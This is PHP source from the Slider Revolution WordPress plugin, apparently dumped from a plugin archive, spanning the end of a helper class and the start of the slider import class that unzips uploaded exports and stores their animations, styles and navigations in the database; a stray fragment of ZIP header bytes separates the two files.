			'colrskinhas' => __('This Skin use', 'revslider'),
			'deleteskin' => __('Delete Skin', 'revslider'),
			'references' => __('References', 'revslider'),
			'colorwillkept' => __('The References will keep their colors after deleting Skin.', 'revslider'),
			'areyousuredeleteskin' => __('Are you sure to delete Color Skin?', 'revslider'),			
			'svgcustomimport' => __('Custom File Import', 'revslider'),
			'importsvgfiles' => __('Import SVG Files', 'revslider'),
			'customsvgfile' => __('Custom SVG File', 'revslider'),
			'savecustomfile' => __('Import File', 'revslider'),
			'customfile' => __('Custom  File', 'revslider'),
			'uploadfirstitem' => __('Upload Your 1st Item', 'revslider'),
			'sltr_full' => __('Full', 'revslider'),
			'sltr_basic' => __('Base', 'revslider'),
			'sltr_fade' => __('Fade', 'revslider'),
			'sltr_fades' => __('Fade', 'revslider'),
			'sltr_slideinout' => __('Slide In, Slide Out', 'revslider'),
			'sltr_slideinoutfadein' => __('Slide & Fade In, Slide Out', 'revslider'),
			'sltr_slideinoutfadeinout' => __('Slide & Fade In, Slide & Fade Out', 'revslider'),
			'sltr_dddeffects' => __('3D Effects', 'revslider'),
			'sltr_slide' => __('Slide', 'revslider'),
			'sltr_slideover' => __('Simple Slide', 'revslider'),
			'sltr_remove' => __('Masked Slide Out', 'revslider'),
			'sltr_slidefadeinslideout' => __('Slide & Fade In, Slide Out', 'revslider'),
			'sltr_slidefadeinout' => __('Slide & Fade In Slide & Fade Out', 'revslider'),
			'sltr_parallax' => __('Parallax Slide', 'revslider'),
			'sltr_zoom' => __('Zoom', 'revslider'),			
			'sltr_zoomslidein' => __('Slide In, Zoom Out', 'revslider'),
			'sltr_zoomslideout' => __('Zoom In, Slide Out', 'revslider'),
			'sltr_special' => __('Special', 'revslider'),
			'sltr_double' => __('Double Effect', 'revslider'),
			'sltr_filter' => __('Filter', 'revslider'),
			'sltr_effects' => __('Effects', 'revslider'),
			'sltr_cuts' => __('Paper Cuts', 'revslider'),
			'sltr_columns' => __('Columns', 'revslider'),
			'sltr_curtain' => __('Curtain', 'revslider'),
			'sltr_rotation' => __('Rotation', 'revslider'),
			'sltr_rows' => __('Rows', 'revslider'),			
			'sltr_circle' => __('Circle', 'revslider'),
			'sltr_boxes' => __('Boxes', 'revslider'),
			'sltr_random' => __('Random', 'revslider'),
			'dov_1' => __('Dotted Small', 'revslider'),
			'dov_2' => __('Dotted Medium', 'revslider'),
			'dov_3' => __('Dotted Large', 'revslider'),
			'dov_4' => __('Horizontal Small', 'revslider'),
			'dov_5' => __('Horizontal Medium', 'revslider'),
			'dov_6' => __('Horizontal Large', 'revslider'),
			'dov_7' => __('Vertical Small', 'revslider'),
			'dov_8' => __('Vertical Medium', 'revslider'),
			'dov_9' => __('Vertical Large', 'revslider'),
			'dov_10' => __('Circles Small', 'revslider'),
			'dov_11' => __('Circles Medium', 'revslider'),
			'dov_12' => __('Diagonal 1', 'revslider'),
			'dov_13' => __('Diagonal 2', 'revslider'),
			'dov_14' => __('Diagonal 3', 'revslider'),
			'dov_15' => __('Diagonal 4', 'revslider'),
			'dov_16' => __('Cross', 'revslider')

			
		);

		return apply_filters('revslider_get_javascript_multilanguage', $lang);
	}

	
	/**
	 * returns all image sizes that have the same aspect ratio, rounded on the second
	 * @since: 6.1.4
	 **/
	public function get_same_aspect_ratio_images($images){
		$return = array();
		$images = (array)$images;
		
		if(!empty($images)){
			$objlib = new RevSliderObjectLibrary();
			$upload_dir = wp_upload_dir();
			
			foreach($images as $key => $image){
				//check if we are from object library
				if($objlib->_is_object($image)){
					$_img = $image;
					$image = $objlib->get_correct_size_url($image, 100, true);
					$objlib->_check_object_exist($image); //check to redownload if not downloaded yet
					
					$sizes = $objlib->get_sizes();
					$return[$key] = array();
					
					if(!empty($sizes)){
						foreach($sizes as $size){
							$url = $objlib->get_correct_size_url($image, $size);
							$file = str_replace($upload_dir['baseurl'], $upload_dir['basedir'], $url);
							$_size = getimagesize($file);
							$return[$key][$size] = array(
								'url'	=> $url,
								'width'	=> $this->get_val($_size, 0),
								'height'=> $this->get_val($_size, 1),
								'size'	=> filesize($file)
							);
							
							if($_img === $url) $return[$key][$size]['default'] = true;
						}
						
						//$image = $objlib->get_correct_size_url($image, 100, true);
						$file = str_replace($upload_dir['baseurl'], $upload_dir['basedir'], $image);
						$_size = getimagesize($file);
						$return[$key][100] = array(
							'url'	=> $image,
							'width'	=> $this->get_val($_size, 0),
							'height'=> $this->get_val($_size, 1),
							'size'	=> filesize($file)
						);
						if($_img === $return[$key][100]['url']) $return[$key][100]['default'] = true;
					}
				}else{
					$_img = (intval($image) === 0) ? $this->get_image_id_by_url($image) : $image;
					$img_data = wp_get_attachment_metadata($_img);
					
					if(!empty($img_data)){
						$return[$key] = array();
						$ratio = round($this->get_val($img_data, 'width', 1) / $this->get_val($img_data, 'height', 1), 2);
						$sizes = $this->get_val($img_data, 'sizes', array());
						$file = $upload_dir['basedir'] .'/'. $this->get_val($img_data, 'file');
						$return[$key]['orig'] = array(
							'url'	=> $upload_dir['baseurl'] .'/'. $this->get_val($img_data, 'file'),
							'width'	=> $this->get_val($img_data, 'width'),
							'height'=> $this->get_val($img_data, 'height'),
							'size'	=> filesize($file)
						);
						if($image === $return[$key]['orig']['url']) $return[$key]['orig']['default'] = true;
						
						if(!empty($sizes)){
							foreach($sizes as $sn => $sv){
								$_ratio = round($this->get_val($sv, 'width', 1) / $this->get_val($sv, 'height', 1), 2);
								if($_ratio === $ratio){
									$i = wp_get_attachment_image_src($_img, $sn);
									if($i === false) continue;
									
									$file = str_replace($upload_dir['baseurl'], $upload_dir['basedir'], $this->get_val($i, 0));
									$return[$key][$sn] = array(
										'url'	=> $this->get_val($i, 0),
										'width'	=> $this->get_val($sv, 'width'),
										'height'=> $this->get_val($sv, 'height'),
										'size'	=> filesize($file)
									);
									if($image === $return[$key][$sn]['url']) $return[$key][$sn]['default'] = true;
								}
							}
						}
					}
				}
			}
		}
		
		return $return;
	}
	
	/** 
	 * returns all files plus sizes of JavaScript and css files used by the AddOns
	 * @since. 6.1.4
	 **/
	public function get_addon_sizes($addons){
		$sizes = array();
		
		if(empty($addons) || !is_array($addons)) return $sizes;
		
		$_css = '/public/assets/css/';
		$_js = '/public/assets/js/';
		//these are the sizes before the AddOns where updated
		$_a = array(
			'revslider-404-addon' => array(),
			'revslider-backup-addon' => array(),
			'revslider-beforeafter-addon' => array(
				$_css .'revolution.addon.beforeafter.css' => 3512,
				$_js .'revolution.addon.beforeafter.min.js' => 21144
			),
			'revslider-bubblemorph-addon' => array(
				$_css .'revolution.addon.bubblemorph.css' => 341,
				$_js .'revolution.addon.bubblemorph.min.js' => 11377
			),
			'revslider-domain-switch-addon' => array(),
			'revslider-duotonefilters-addon' => array(
				$_css .'revolution.addon.duotone.css' => 11298,
				$_js .'revolution.addon.duotone.min.js' => 1232
			),
			'revslider-explodinglayers-addon' => array(
				$_css .'revolution.addon.explodinglayers.css' => 704,
				$_js .'revolution.addon.explodinglayers.min.js' => 19012
			),
			'revslider-featured-addon' => array(),
			'revslider-filmstrip-addon' => array(
				$_css .'revolution.addon.filmstrip.css' => 843,
				$_js .'revolution.addon.filmstrip.min.js' => 5409
			),
			'revslider-gallery-addon' => array(),
			'revslider-liquideffect-addon' => array(
				$_css .'revolution.addon.liquideffect.css' => 606,
				$_js .'pixi.min.js' => 514062,
				$_js .'revolution.addon.liquideffect.min.js' => 11899
			),
			'revslider-login-addon' => array(),
			'revslider-maintenance-addon' => array(),
			'revslider-paintbrush-addon' => array(
				$_css .'revolution.addon.paintbrush.css' => 676,
				$_js .'revolution.addon.paintbrush.min.js' => 6841
			),
			'revslider-panorama-addon' => array(
				$_css .'revolution.addon.panorama.css' => 1823,
				$_js .'three.min.js' => 504432,
				$_js .'revolution.addon.panorama.min.js' => 12909
			),
			'revslider-particles-addon' => array(
				$_css .'revolution.addon.particles.css' => 668,
				$_js .'revolution.addon.particles.min.js' => 33963
			),
			'revslider-polyfold-addon' => array(
				$_css .'revolution.addon.polyfold.css' => 900,
				$_js .'revolution.addon.polyfold.min.js' => 5125
			),
			'revslider-prevnext-posts-addon' => array(),
			'revslider-refresh-addon' => array(
				$_js .'revolution.addon.refresh.min.js' => 920
			),
			'revslider-rel-posts-addon' => array(),
			'revslider-revealer-addon' => array(
				$_css .'revolution.addon.revealer.css' => 792,
				$_css .'revolution.addon.revealer.preloaders.css' => 14792,
				$_js .'revolution.addon.revealer.min.js' => 7533
			),
			'revslider-sharing-addon' => array(
				$_js .'revslider-sharing-addon-public.js' => 6232
			),
			'revslider-slicey-addon' => array(
				$_js .'revolution.addon.slicey.min.js' => 4772
			),
			'revslider-snow-addon' => array(
				$_js .'revolution.addon.snow.min.js' => 4823
			),
			'revslider-template-addon' => array(),
			'revslider-typewriter-addon' => array(
				$_css .'typewriter.css' => 233,
				$_js .'revolution.addon.typewriter.min.js' => 8038
			),
			'revslider-weather-addon' => array(
				$_css .'revslider-weather-addon-icon.css' => 3699,
				$_css .'revslider-weather-addon-public.css' => 483,
				$_css .'weather-icons.css' => 31082,
				$_js .'revslider-weather-addon-public.js' => 5335
			),
			'revslider-whiteboard-addon' => array(
				$_js .'revolution.addon.whiteboard.min.js' => 10649
			)
		);
		
		//AddOns can apply/modify the default data here
		$_a = apply_filters('revslider_create_slider_page', $_a, $_css, $_js, $this);
		
		foreach($addons as $addon){
			if(!isset($_a[$addon])) continue;
			$sizes[$addon] = 0;
			if(!empty($_a[$addon])){
				foreach($_a[$addon] as $size){
					$sizes[$addon] += $size;
				}
			}
			//$sizes[$addon] = $_a[$addon];
		}
		
		return $sizes;
	}
	
	/** 
	 * returns a list of found compressions
	 * @since. 6.1.4
	 **/
	public function compression_settings(){
		$match	= array();
		$com	= array('gzip', 'compress', 'deflate', 'br'); //'identity' -> means no compression prefered
		$enc	= $this->get_val($_SERVER, 'HTTP_ACCEPT_ENCODING');
		
		if(empty($enc)) return $match;
		
		foreach($com as $c){
			if(strpos($enc, $c) !== false) $match[] = $c;
		}
		
		return $match;
	}
	
	/**
	 * get all available languages from Slider Revolution
	 **/
	public function get_available_languages(){
		$lang_codes = array(
			'de_DE' => __('German', 'revslider'),
			'en_US' => __('English', 'revslider'),
			'fr_FR' => __('French', 'revslider'),
			'zh_CN' => __('Chinese', 'revslider')
		);
		
		$lang = get_available_languages(RS_PLUGIN_PATH.'languages/');
		$_lang = array();
		if(!empty($lang)){
			foreach($lang as $k => $v){
				if(strpos($v, 'revsliderhelp-') !== false) continue;
				
				$_lc = str_replace('revslider-', '', $v);
				$_lang[$_lc] = (isset($lang_codes[$_lc])) ? $lang_codes[$_lc] : $_lc;
			}
		}
		
		return $_lang;
	}

	/**
	 * function to check if the current page is a post/page in edit mode
	 */
	public function is_edit_page(){
		if(!is_admin()) return false;

		global $pagenow;
		global $wp_version;

		if(version_compare($wp_version, '5.8', '>=')){
			return in_array($pagenow, array('post.php', 'post-new.php', 'widgets.php'));
		}
		else{
			return in_array($pagenow, array('post.php', 'post-new.php'));
		}
	}
	
}PK�y3\�z�)�)includes/import.class.phpnu�[���<?php
/**
 * @author    ThemePunch <info@themepunch.com>
 * @link      https://www.themepunch.com/
 * @copyright 2019 ThemePunch
 */
 
if(!defined('ABSPATH')) exit();

class RevSliderSliderImport extends RevSliderSlider {
	private $old_slider_id;
	private $real_slider_id;
	private $remove_path;
	private $download_path;
	private $import_zip;
	private $exists;
	private $slider_raw_data;
	private $slider_data;
	private $slides_data;
	private $import_statics;
	private $imported;
	private $is_template;
	private $navigation_map;
	public $slider_id;

	public function __construct(){
		parent::__construct();
		require_once(ABSPATH . 'wp-admin/includes/file.php');
		
		$this->old_slider_id	= '';
		$this->real_slider_id	= '';
		$upload_dir				= wp_upload_dir();
		$this->remove_path		= $upload_dir['basedir'].'/rstemp/';
		$this->download_path	= $this->remove_path;
		$this->slider_id		= $this->get_post_var('sliderid');
		$this->import_zip		= false;
		$this->exists			= !empty($this->slider_id);
		$this->imported			= array();
		$this->slider_data		= array();
		$this->slides_data		= array();
		$this->navigation_map	= array();
	}
	
	/**
	 * return the old Slider ID
	 * @return int
	 **/
	public function get_old_slider_id(){
		return $this->old_slider_id;
	}
	
	/**
	 * import slider from multipart form
	 * @since: 5.3.1:	$updateStatic is deprecated
	 * @since: 6.0:		$updateStatic is now removed (was second parameter)
	 * @before: RevSliderSlider::importSliderFromPost();
	 */
	public function import_slider($update_animation = true, $exact_filepath = false, $is_template = false, $single_slide = false, $update_navigation = true, $install = true){
		global $wp_filesystem;
		WP_Filesystem();
		
		try{
			if($this->exists){
				$this->init_by_id($this->slider_id);
			}else{
				$exec = $this->unzip_slider($exact_filepath);
				if($exec !== true) return $exec;
			}
			
			$this->is_template = $is_template;
			
			//read all files needed
			$error = $this->check_template();
			
			if(is_array($error)) return $error;
			
			$this->set_slider_data_raw();
			$this->set_animations();
			$this->set_dynamic_css_v5(); //used prior 6.0 exports
			$this->set_dynamic_css_v6(); //used since 6.0 exports
			
			$this->set_navigations($update_navigation);
			
			$this->process_slider_raw_data();
			if($this->exists) $this->delete_all_slides(); //delete current slides
			
			$this->process_slide_data();
			$this->process_layer_data();
			
			$this->process_static_slide_data();
			
			//do the update routines
			$slider = new RevSliderSliderImport();
			$slider->init_by_id($this->slider_id);
			$upd = new RevSliderPluginUpdate();
			
			$upd->upgrade_slider_to_latest($slider);
			//RevSliderPluginUpdate::upgrade_slider_to_latest($slider);
			
			//reinit because we just updated data which is outside of the $slider object
			$slider = new RevSliderSliderImport();
			$slider->init_by_id($this->slider_id);
			
			$slider->update_css_and_javascript_ids($this->old_slider_id, $this->slider_id, $this->map);
			$slider->update_color_ids($this->map);
			
			//$slider->update_modal_ids($slider_ids, $slides_ids);
			
			$this->real_slider_id = $this->slider_id;
			
			if($install){
				$duplicate = $this->duplicate_template_slider($single_slide);
				if(is_array($duplicate)) return $duplicate; //error
			}
			
			$wp_filesystem->delete($this->remove_path, true);
			
		}catch(Exception $e){
			if(isset($this->remove_path)){
				$wp_filesystem->delete($this->remove_path, true);
			}
			
			return array('success' => false, 'error' => $e->getMessage(), 'sliderID' => $this->slider_id);
		}
		
		do_action('revslider_slider_imported', $this->real_slider_id);
		
		return array(
			'success' => true,
			'sliderID' => $this->real_slider_id,
			'map' => array(
				'slider' => array(
					'zip_to_template' => array($this->old_slider_id => $this->slider_id), //zip id to template id
					'zip_to_duplication' => array($this->old_slider_id => $this->real_slider_id) //template id to duplication id
				),
				'slides' => $this->map
			)
		);
	}
	
	
	/**
	 * unzip an uploaded Slider
	 * @param mixed $exact_filepath
	 * @throws Exception
	 * @return mixed
	 */
	private function unzip_slider($exact_filepath = false){
		if($exact_filepath !== false){
			$path = $exact_filepath;
		}else{
			$import_file = $this->get_val($_FILES, 'import_file');
			$error		 = $this->get_val($import_file, 'error');
			switch($error){
				case UPLOAD_ERR_NO_FILE:
					$this->throw_error(__('No file sent.', 'revslider'));
					break;
				case UPLOAD_ERR_INI_SIZE:
				case UPLOAD_ERR_FORM_SIZE:
					$this->throw_error(__('Exceeded filesize limit.', 'revslider'));
					break;
				default:
				break;
			}
			$path = $this->get_val($import_file, 'tmp_name');
		}
		
		if(isset($path['error'])){
			$this->throw_error($path['error']);
		}
		
		if(file_exists($path) == false)
			$this->throw_error(__('Import file not found', 'revslider'));
		
		WP_Filesystem();
		global $wp_filesystem;
		
		$file = unzip_file($path, $this->download_path);
		
		if(is_wp_error($file)){
			@define('FS_METHOD', 'direct'); //lets try direct.
			WP_Filesystem();  //WP_Filesystem() needs to be called again since now we use direct!
			
			$file = unzip_file($path, $this->download_path);
			if(is_wp_error($file)){
				$this->download_path = RS_PLUGIN_PATH.'rstemp/';
				$this->remove_path	 = $this->download_path;
				$file				 = unzip_file($path, $this->download_path);
				
				if(is_wp_error($file)){
					$file_basename		 = basename($path);
					$this->download_path = str_replace($file_basename, '', $path);
					$file				 = unzip_file($path, $this->download_path);
				}
			}
		}
		
		$unzipped_data = $file;
		
		if(!is_wp_error($unzipped_data)){
			$this->import_zip = true;
			return true;
		}else{
			$wp_filesystem->delete($this->remove_path, true);
			return array('success' => false, 'error' => $unzipped_data->get_error_message());
		}
	}
	
	
	/**
	 * set the Slider data in raw from the slider_export.txt
	 **/
	public function set_slider_data_raw(){
		global $wp_filesystem;
		$this->slider_raw_data = ($wp_filesystem->exists($this->download_path.'slider_export.txt')) ? $wp_filesystem->get_contents($this->download_path.'slider_export.txt') : '';
		if($this->slider_raw_data == ''){
			$dirs = scandir($this->download_path);
			if(!empty($dirs)){
				foreach($dirs as $dir){				
					if($dir !== '.' && $dir !== '..' && is_dir($this->download_path . $dir)){
						$dir = $this->download_path . $dir . '/';
						$this->slider_raw_data = ($wp_filesystem->exists($dir.'slider_export.txt')) ? $wp_filesystem->get_contents($dir.'slider_export.txt') : '';
						if($this->slider_raw_data != '') {
							$this->download_path = $dir;
							break;
						}
					}
				}
			}
			if($this->slider_raw_data == '') $this->throw_error(__('slider_export.txt does not exist!', 'revslider'));
		}
	}
	
	
	/**
	 * set the Slider animations from custom_animations.txt and add/update them if needed in the database
	 **/
	public function set_animations(){
		global $wp_filesystem, $wpdb;
		
		$animations		 = ($wp_filesystem->exists($this->download_path.'custom_animations.txt')) ? $wp_filesystem->get_contents($this->download_path.'custom_animations.txt') : '';
		$json_animations = @json_decode($animations, true);
		$animations		 = (empty($json_animations)) ? $this->rs_unserialize($animations) : $json_animations;
		if(empty($animations)) return;

		foreach($animations as $animation){
			$exist = $wpdb->get_row($wpdb->prepare("SELECT * FROM ".$wpdb->prefix . RevSliderFront::TABLE_LAYER_ANIMATIONS." WHERE handle = %s", $animation['handle']), ARRAY_A);
			if(!empty($exist)){ //update the animation, get the ID
				$animation_id = $exist['id'];
			}else{ //insert the animation, get the ID
				//check if we are v5 or v6+
				$an = array(
					'handle' => $this->get_val($animation, 'handle'),
					'params' => stripslashes(json_encode(str_replace("'", '"', $this->get_val($animation, 'params'))))
				);

				if(in_array($this->get_val($animation, 'settings'), array('in', 'out'))){
					$an['settings'] = $this->get_val($animation, 'settings');
				}

				$wpdb->insert($wpdb->prefix . RevSliderFront::TABLE_LAYER_ANIMATIONS, $an);

				$animation_id = $wpdb->insert_id;

				//and set the current customin-oldID and customout-oldID in slider raw data to the new ID from the animation
			}

			$this->slider_raw_data = str_replace(array('customin-'.$animation['id'].'"', 'customout-'.$animation['id'].'"'), array('customin-'.$animation_id.'"', 'customout-'.$animation_id.'"'), $this->slider_raw_data);
		}
	}

	
	/**
	 * set the Slider dynamic css from dynamic-captions.txt and add/update them if needed in the database
	 * @used if we import a slider below 6.0, as here we still have the dynamic-captions.css. on 6.0 it is replaces with a styles.txt
	 **/
	public function set_dynamic_css_v5(){
		global $wp_filesystem, $wpdb;
		
		$dynamic	= ($wp_filesystem->exists($this->download_path.'dynamic-captions.css')) ? $wp_filesystem->get_contents($this->download_path.'dynamic-captions.css') : '';
		$css_class	= RevSliderGlobals::instance()->get('RevSliderCssParser');
		
		//parse css to classes
		$css = $css_class->css_to_array($dynamic);
		if(is_array($css) && $css !== false && count($css) > 0){
			foreach($css as $class => $styles){
				//check if static style or dynamic style
				$class = trim($class);
				
				if(strpos($class, ',') !== false && strpos($class, '.tp-caption') !== false){ //we have something like .tp-caption.redclass, .redclass
					$class_t = explode(',', $class);
					foreach($class_t as $cl){
						if(strpos($cl, '.tp-caption') !== false) $class = $cl;
					}
				}
				
				if((strpos($class, ':hover') === false && strpos($class, ':') !== false) || //before, after
					strpos($class, ' ') !== false || // .tp-caption.imageclass img or .tp-caption .imageclass or .tp-caption.imageclass .img
					strpos($class, '.tp-caption') === false || // everything that is not tp-caption
					(strpos($class, '.') === false || strpos($class, "#") !== false) || // no class -> #ID or img
					strpos($class, '>') !== false){ //.tp-caption>.imageclass or .tp-caption.imageclass>img or .tp-caption.imageclass .img
					continue;
				}
				
				//is a dynamic style
				if(strpos($class, ':hover') !== false){
					$class = trim(str_replace(':hover', '', $class));
					$insert = array(
						'hover'		=> json_encode($styles),
						'settings'	=> json_encode(array('hover' => 'true'))
					);
				}else{
					$insert = array(
						'params'	=> json_encode($styles),
						'settings'	=> ''
					);
				}
				
				//check if class exists
				$result = $wpdb->get_row($wpdb->prepare("SELECT * FROM ".$wpdb->prefix . RevSliderFront::TABLE_CSS." WHERE handle = %s", $class), ARRAY_A);
				
				if(!empty($result)){ //update
					$wpdb->update($wpdb->prefix . RevSliderFront::TABLE_CSS, $insert, array('handle' => $class));
				}else{ //insert
					$insert['handle'] = $class;
					$wpdb->insert($wpdb->prefix . RevSliderFront::TABLE_CSS, $insert);
				}
			}
		}
	}
	
	
	/**
	 * set the Slider dynamic css from styles.txt and add/update them if needed in the database
	 **/
	public function set_dynamic_css_v6(){
		global $wp_filesystem, $wpdb;
		
		$styles = ($wp_filesystem->exists($this->download_path.'styles.txt')) ? $wp_filesystem->get_contents($this->download_path.'styles.txt') : '';
		$json_styles = @json_decode($styles, true);
		$styles		 = (empty($json_styles)) ? $this->rs_unserialize($styles) : $json_styles;
		
		if(!empty($styles)){
			foreach($styles as $style){
				foreach($style as $v => $s){
					if(is_array($s) || is_object($s)){
						$style[$v] = json_encode($s);
					}
				}
				
				$exist = $wpdb->get_row($wpdb->prepare("SELECT * FROM ".$wpdb->prefix . RevSliderFront::TABLE_CSS." WHERE handle = %s", $this->get_val($style, 'handle')), ARRAY_A);
				if(!empty($exist)){
					$rh = $this->get_val($style, 'handle');
					unset($style['handle']);
					$wpdb->update($wpdb->prefix . RevSliderFront::TABLE_CSS, $style, array('handle' => $rh));
				}else{
					$wpdb->insert($wpdb->prefix . RevSliderFront::TABLE_CSS, $style);
				}
			}
		}
	}


	/**
	 * set the Slider navigatons from navigation.txt and add/update them if needed in the database
	 * @param bool $update_navigation
	 */
	public function set_navigations($update_navigation){
		global $wp_filesystem, $wpdb;
		$upd = new RevSliderPluginUpdate();
		
		$navigations		= ($wp_filesystem->exists($this->download_path.'navigation.txt')) ? $wp_filesystem->get_contents($this->download_path.'navigation.txt') : '';
		$json_navigations	= @json_decode($navigations, true);
		$navigations		= (empty($json_navigations)) ? $this->rs_unserialize($navigations) : $json_navigations;
		
		if(!empty($navigations)){
			foreach($navigations as $navigation){
				$_navigations[] = $navigation;
				
				if(!isset($navigation['type'])){ //translate navigations to v6 if they are v5
					$_navigations = array();
					$navigation['css'] = json_decode($navigation['css'], true);
					$navigation['markup'] = json_decode($navigation['markup'], true);
					$navigation['settings'] = json_decode($navigation['settings'], true);
					
					foreach($upd->navtypes as $navtype){
						if(isset($navigation['css'][$navtype]) && !empty($navigation['css'][$navtype]) || isset($navigation['markup'][$navtype]) && !empty($navigation['markup'][$navtype])){
							$_navigations[] = $upd->create_new_navigation_6_0($navigation, $navtype);
						}
					}
				}
				
				if(!empty($_navigations)){
					foreach($_navigations as $_navigation){
						$exist = $wpdb->get_row($wpdb->prepare("SELECT id FROM ".$wpdb->prefix . RevSliderFront::TABLE_NAVIGATIONS." WHERE handle = %s AND type = %s", array($this->get_val($_navigation, 'handle'), $this->get_val($_navigation, 'type'))), ARRAY_A);
						
						$old_nav_id = $this->get_val($_navigation, 'id', false);
						
						if($old_nav_id !== false){
							unset($_navigation['id']);
						}
						
						foreach($_navigation as $v => $s){
							if(is_array($s) || is_object($s)){
								$_navigation[$v] = json_encode($s);
							}
						}
						
						$rh = $_navigation['handle'];
						$rt = $_navigation['type'];
						if(!empty($exist)){ //create new navigation, get the ID
							if($update_navigation){ //overwrite navigation if exists
								unset($_navigation['handle']);
								$upd = $wpdb->update($wpdb->prefix . RevSliderFront::TABLE_NAVIGATIONS, $_navigation, array('handle' => $rh, 'type' => $rt));
								
								$insert_id = $this->get_val($exist, 'id', $wpdb->insert_id);
							}else{
								//insert with new handle
								$_navigation['handle'] = $_navigation['handle'].'-'.date('is');
								$_navigation['name'] = $_navigation['name'].'-'.date('is');
								//for prior to version 6.0 sliders, the next line needs to stay
								$this->slider_raw_data	= str_replace($rh.'"', $_navigation['handle'].'"', $this->slider_raw_data);
								//for prior to version 6.0 sliders end
								$_navigation['css'] = str_replace('.'.$rh, '.'.$_navigation['handle'], $_navigation['css']); //change css class to the correct new class
								$wpdb->insert($wpdb->prefix . RevSliderFront::TABLE_NAVIGATIONS, $_navigation);
								$insert_id = $wpdb->insert_id;
							}
						}else{
							$wpdb->insert($wpdb->prefix . RevSliderFront::TABLE_NAVIGATIONS, $_navigation);
							$insert_id = $wpdb->insert_id;
						}
						
						if($old_nav_id !== false){
							$this->navigation_map[$old_nav_id] = $insert_id;
						}
					}
				}
			}
		}
	}
	
	
	/**
	 * check if the slider is a template slider and if so, check further if uid is correct
	 **/
	public function check_template(){
		global $wp_filesystem;
		
		$uid_check = ($wp_filesystem->exists($this->download_path.'info.cfg')) ? $wp_filesystem->get_contents($this->download_path.'info.cfg') : '';
		
		if($this->is_template !== false){
			if($uid_check != $this->is_template){
				return array('success' => false, 'error' => __('Please select the correct zip file, checksum failed!', 'revslider'));
			}
		}else{ //someone imported a template base Slider, check if it is existing in Base Sliders, if yes, check if it was imported
			if($uid_check !== ''){
				$tmpl		 = new RevSliderTemplate();
				$tmpl_slider = $tmpl->get_tp_template_sliders();
				
				if(!empty($tmpl_slider)){
					foreach($tmpl_slider as $tp_slider){
						if(!isset($tp_slider['installed'])) continue;
						if($tp_slider['uid'] == $uid_check){
							$this->is_template = $uid_check;
							break;
						}
					}
				}
			}
		}
		
		return false;
	}
	
	
	/**
	 * initialize the raw data and turn it into a Slider
	 **/
	public function process_slider_raw_data(){
		$this->slider_data = @json_decode($this->slider_raw_data, true);
		if(empty($this->slider_data)){ //pre 6.0 Slider
			$this->slider_raw_data	= preg_replace_callback('!s:(\d+):"(.*?)";!', array('RevSliderSliderImport', 'clear_error_in_string') , $this->slider_raw_data); //clear errors in string
			$this->slider_data		= $this->rs_unserialize($this->slider_raw_data);
			$this->process_slider_raw_data_pre_6();
		}else{
			$this->process_slider_raw_data_post_6();
		}
	}
	
	
	/**
	 * process the Slider Data from Sliders that were exported before version 6.0
	 **/
	public function process_slider_raw_data_pre_6(){
		global $wpdb, $wp_filesystem;
		
		if(empty($this->slider_data)){
			$wp_filesystem->delete($this->remove_path, true);
			$this->throw_error(__('Wrong export slider file format! Please make sure that the uploaded file is either a zip file with a correct slider_export.txt in the root of it or an valid slider_export.txt file.', 'revslider'));
		}
		
		//update slider params
		$params = $this->get_val($this->slider_data, 'params');
		if($this->exists){
			$params['title'] = $this->get_param('title');
			$params['alias'] = $this->get_param('alias');
			$params['shortcode'] = $this->get_param('shortcode');
		}
		
		if($this->get_val($params, 'background_image', false) !== false){
			$params['background_image'] = $this->check_file_in_zip($this->download_path, $params['background_image'], $this->get_param('alias'), $this->imported);
			$params['background_image'] = $this->get_image_url_from_path($params['background_image']);
		}

		$this->import_statics = true;
		if(isset($params['enable_static_layers'])){
			if($params['enable_static_layers'] == 'off') $this->import_statics = false;
			unset($params['enable_static_layers']);
		}
		
		//update slider or create new
		if($this->exists){
			$wpdb->update(
				$wpdb->prefix . RevSliderFront::TABLE_SLIDER,
				array('params' => json_encode($params)),
				array('id' => $this->slider_id)
			);
			
			$this->title = $this->get_val($params, 'title');
			$this->alias = $this->get_val($params, 'alias');
		}else{	//new slider
			//check if Slider with title and/or alias exists, if yes change both to stay unique
			$insert = array(
				'title'	=> $this->get_val($params, 'title', 'Slider1'),
				'alias'	=> $this->get_val($params, 'alias', 'slider1')	
			);
			
			if($this->is_template === false){ //we want to stay at the given alias if we are a template
				$talias = $insert['alias'];
				$ttitle = $insert['title'];
				$ti = 1;
				while($this->alias_exists($talias)){ //set a new alias and title if its existing in database
					$talias = $insert['alias'] . $ti;
					$ttitle = $insert['title'] . $ti;
					$ti++;
				}
				
				if($talias !== $insert['alias']){
					$params['title'] = $ttitle;
					$params['alias'] = $talias;
					$insert['title'] = $ttitle;
					$insert['alias'] = $talias;
				}
			}else{ //add that we are an template
				$params['uid']	= $this->is_template;
				$insert['title'] = $this->get_val($insert, 'title'); //.' Template';
				$insert['alias'] = $this->get_val($insert, 'alias'); //.'-template';
				$insert['type']	= 'template';
			}
			
			$insert['params'] = json_encode($params);
			
			$wpdb->insert($wpdb->prefix . RevSliderFront::TABLE_SLIDER, $insert);
			$this->slider_id = $wpdb->insert_id;
			
			$this->title = $this->get_val($insert, 'title');
			$this->alias = $this->get_val($insert, 'alias');
		}
	}
	
	/**
	 * process the Slider Data from Sliders that were exported before version 6.0
	 **/
	public function process_slider_raw_data_post_6(){
		global $wpdb, $wp_filesystem;
		
		if(empty($this->slider_data)){
			$wp_filesystem->delete($this->remove_path, true);
			$this->throw_error(__('Wrong export slider file format! Please make sure that the uploaded file is either a zip file with a correct slider_export.txt in the root of it or an valid slider_export.txt file.', 'revslider'));
		}
		
		//update slider params
		$params = $this->get_val($this->slider_data, 'params');
		
		//check if we are a premium slider
		if($this->get_val($params, 'pakps', false) === true && $this->_truefalse(get_option('revslider-valid', 'false')) === false){
			$wp_filesystem->delete($this->remove_path, true);
			$this->throw_error(__('Please register your Slider Revolution plugin to import premium templates', 'revslider'));
		}

		$this->old_slider_id = $this->get_val($this->slider_data, 'id', '');
		$title = ($this->exists) ? $this->get_title() : $this->get_val($this->slider_data, 'title', 'Slider1');
		$alias = ($this->exists) ? $this->get_alias() : $this->get_val($this->slider_data, 'alias', 'slider1');
		$params['shortcode'] = ($this->exists) ? $this->get_shortcode() : $params['shortcode'];
		
		/**
		 * images/videos in Sliders:
		 * troubleshooting.alternateURL
		 * troubleshooting.alternateURLId remove
		 * layout.bg.useImage
		 * layout.bg.image
		 **/
		if(!isset($params['troubleshooting'])) $params['troubleshooting'] = array();
		if(!isset($params['layout'])) $params['layout'] = array();
